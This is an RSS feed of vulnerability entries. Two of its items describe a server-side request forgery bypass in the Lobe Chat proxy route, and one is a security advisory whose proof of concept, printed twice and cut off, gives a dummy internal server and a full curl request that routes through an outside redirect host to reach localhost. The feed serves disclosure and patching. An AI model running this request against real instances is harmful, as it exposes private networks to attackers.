<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<rss xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
  <channel>
    <title>Most recent entries from all</title>
    <link>https://cve.radiocsirt.org</link>
    <description>Contains only the most 10 recent entries.</description>
    <docs>http://www.rssboard.org/rss-specification</docs>
    <generator>python-feedgen</generator>
    <language>en</language>
    <lastBuildDate>Thu, 22 Oct 2026 02:19:58 +0000</lastBuildDate>
    <item>
      <title>EUVD-2026-187142</title>
      <link>https://cve.radiocsirt.org/vuln/euvd-2026-187142</link>
      <description>EUVD-2026-187142</description>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/euvd-2026-187142</guid>
    </item>
    <item>
      <title>fkie_cve-2024-47066</title>
      <link>https://cve.radiocsirt.org/vuln/fkie_cve-2024-47066</link>
      <description>&lt;p&gt;Lobe Chat is an open-source artificial intelligence chat framework. Prior to version 1.19.13, server-side request forgery protection implemented in `src/app/api/proxy/route.ts` does not consider redirect and could be bypassed when attacker provides an external malicious URL which redirects to internal resources like a private network or loopback address. Version 1.19.13 contains an improved fix for the issue.&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;Lobe Chat is an open-source artificial intelligence chat framework. Prior to version 1.19.13, server-side request forgery protection implemented in `src/app/api/proxy/route.ts` does not consider redirect and could be bypassed when attacker provides an external malicious URL which redirects to internal resources like a private network or loopback address. Version 1.19.13 contains an improved fix for the issue.&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/fkie_cve-2024-47066</guid>
    </item>
    <item>
      <title>GHSA-3fc8-2r3f-8wrg — lobe-chat implemented an insufficient fix for GHSA-mxhq-xw3g-rphc (CVE-2024-32964)</title>
      <link>https://cve.radiocsirt.org/vuln/ghsa-3fc8-2r3f-8wrg</link>
      <description>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: @lobehub/chat&lt;/p&gt;
&lt;p&gt;### Summary
SSRF protection implemented in https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts does not consider redirect and could be bypassed when attacker provides external malicious url which redirects to internal resources like private network or loopback address.&lt;/p&gt;
&lt;p&gt;### PoC
1. Run lobe-chat in docker container. In my setup lobe-chat runs on 0.0.0.0:3210;&lt;/p&gt;
&lt;p&gt;2. Create file dummy-server.js with the following content:
```
var http = require(&amp;#39;http&amp;#39;);
console.log(&amp;#34;running server&amp;#34;);
http.createServer(function (req, res) {
  console.log(req.url);
  res.writeHead(200, {&amp;#39;Content-Type&amp;#39;: &amp;#39;text/html&amp;#39;});
  res.end();
}).listen(3001, &amp;#39;localhost&amp;#39;);&lt;/p&gt;
&lt;p&gt;```
And run 
```
node dummy-server.js
```
as an example server inside of container [1] (or in containers private network).&lt;/p&gt;
&lt;p&gt;3. Run in terminal to perform request to lobe-chat instance from [1]&lt;/p&gt;
&lt;p&gt;```
curl --path-as-is -i -s -k -X $&amp;#39;POST&amp;#39; \
    -H $&amp;#39;Host: 0.0.0.0:3210&amp;#39; -H $&amp;#39;Accept-Encoding: gzip, deflate, br&amp;#39; -H $&amp;#39;Referer: http://0.0.0.0:3210/settings/agent?agent=&amp;amp;session=inbox&amp;amp;tab=&amp;#39; -H $&amp;#39;Content-Type: text/plain;charset=UTF-8&amp;#39; -H $&amp;#39;Content-Length: 74&amp;#39; -H $&amp;#39;Origin: http://0.0.0.0:3210&amp;#39; -H $&amp;#39;Connection: keep-alive&amp;#39; -H $&amp;#39;Priority: u=0&amp;#39; \
    -b $&amp;#39;LOBE_LOCALE=en-EN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined&amp;#39; \
    --data-binary $&amp;#39;http://130.193.49.129:8090/redirect?url=http://localhost:3001/iamssrf_1337&amp;#39; \
    $&amp;#39;http://0.0.0.0:3210/api/proxy&amp;#39;
```&lt;/p&gt;
&lt;p&gt;where body contains url of server which redirects t…&lt;/p&gt;</description>
      <content:encoded>&lt;p&gt;&lt;strong&gt;Affected:&lt;/strong&gt; npm: @lobehub/chat&lt;/p&gt;
&lt;p&gt;### Summary
SSRF protection implemented in https://github.com/lobehub/lobe-chat/blob/main/src/app/api/proxy/route.ts does not consider redirect and could be bypassed when attacker provides external malicious url which redirects to internal resources like private network or loopback address.&lt;/p&gt;
&lt;p&gt;### PoC
1. Run lobe-chat in docker container. In my setup lobe-chat runs on 0.0.0.0:3210;&lt;/p&gt;
&lt;p&gt;2. Create file dummy-server.js with the following content:
```
var http = require(&amp;#39;http&amp;#39;);
console.log(&amp;#34;running server&amp;#34;);
http.createServer(function (req, res) {
  console.log(req.url);
  res.writeHead(200, {&amp;#39;Content-Type&amp;#39;: &amp;#39;text/html&amp;#39;});
  res.end();
}).listen(3001, &amp;#39;localhost&amp;#39;);&lt;/p&gt;
&lt;p&gt;```
And run 
```
node dummy-server.js
```
as an example server inside of container [1] (or in containers private network).&lt;/p&gt;
&lt;p&gt;3. Run in terminal to perform request to lobe-chat instance from [1]&lt;/p&gt;
&lt;p&gt;```
curl --path-as-is -i -s -k -X $&amp;#39;POST&amp;#39; \
    -H $&amp;#39;Host: 0.0.0.0:3210&amp;#39; -H $&amp;#39;Accept-Encoding: gzip, deflate, br&amp;#39; -H $&amp;#39;Referer: http://0.0.0.0:3210/settings/agent?agent=&amp;amp;session=inbox&amp;amp;tab=&amp;#39; -H $&amp;#39;Content-Type: text/plain;charset=UTF-8&amp;#39; -H $&amp;#39;Content-Length: 74&amp;#39; -H $&amp;#39;Origin: http://0.0.0.0:3210&amp;#39; -H $&amp;#39;Connection: keep-alive&amp;#39; -H $&amp;#39;Priority: u=0&amp;#39; \
    -b $&amp;#39;LOBE_LOCALE=en-EN; LOBE_THEME_PRIMARY_COLOR=undefined; LOBE_THEME_NEUTRAL_COLOR=undefined&amp;#39; \
    --data-binary $&amp;#39;http://130.193.49.129:8090/redirect?url=http://localhost:3001/iamssrf_1337&amp;#39; \
    $&amp;#39;http://0.0.0.0:3210/api/proxy&amp;#39;
```&lt;/p&gt;
&lt;p&gt;where body contains url of server which redirects t…&lt;/p&gt;</content:encoded>
      <guid isPermaLink="false">https://cve.radiocsirt.org/vuln/ghsa-3fc8-2r3f-8wrg</guid>
    </item>
  </channel>
</rss>
